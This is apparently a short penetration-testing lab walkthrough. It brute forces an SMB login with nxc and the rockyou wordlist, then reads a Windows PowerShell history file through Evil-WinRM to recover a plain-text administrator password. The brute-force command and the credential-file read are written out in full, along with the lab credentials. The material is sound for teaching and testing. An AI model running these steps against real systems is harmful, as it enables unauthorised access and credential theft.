

SMB Credential Brute Forcing

```
nxc smb 192.168.200.24 -u "hacker" -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
192.168.200.24 445 ADMIN [*] Windows 10 / Server 2019 Build 19041
```

```
[+] ADMIN\hacker:loser
```

We were able to determine a potential username on the server, so we can brute force the user's password if it is sufficiently weak

Privilege Escalation

PowerShell Command History

```
Directorio: C:\users\██████\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline
```

<u>LastWriteTime</u>	<u>Length</u>	<u>Name</u>
7/3/2024 10:59 PM	234	ConsoleHost_history.txt

On Windows systems, PowerShell commands are saved in a history file for each user in the

\users\%username%\AppData\Roaming\
Microsoft\Windows\PowerShell\
PSReadline\ConsoleHost_history.txt file

Privilege Escalation

PowerShell Command History

```
*Evil-WinRM* PS C:\Users\hope\Documents> type c:\users\hope\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt  
Set-LocalUser -Name "administrator" -Password (ConvertTo-SecureString "SuperAdministrator123" -AsPlainText -Force)
```

And if we can access that file, we might be able to access some sensitive information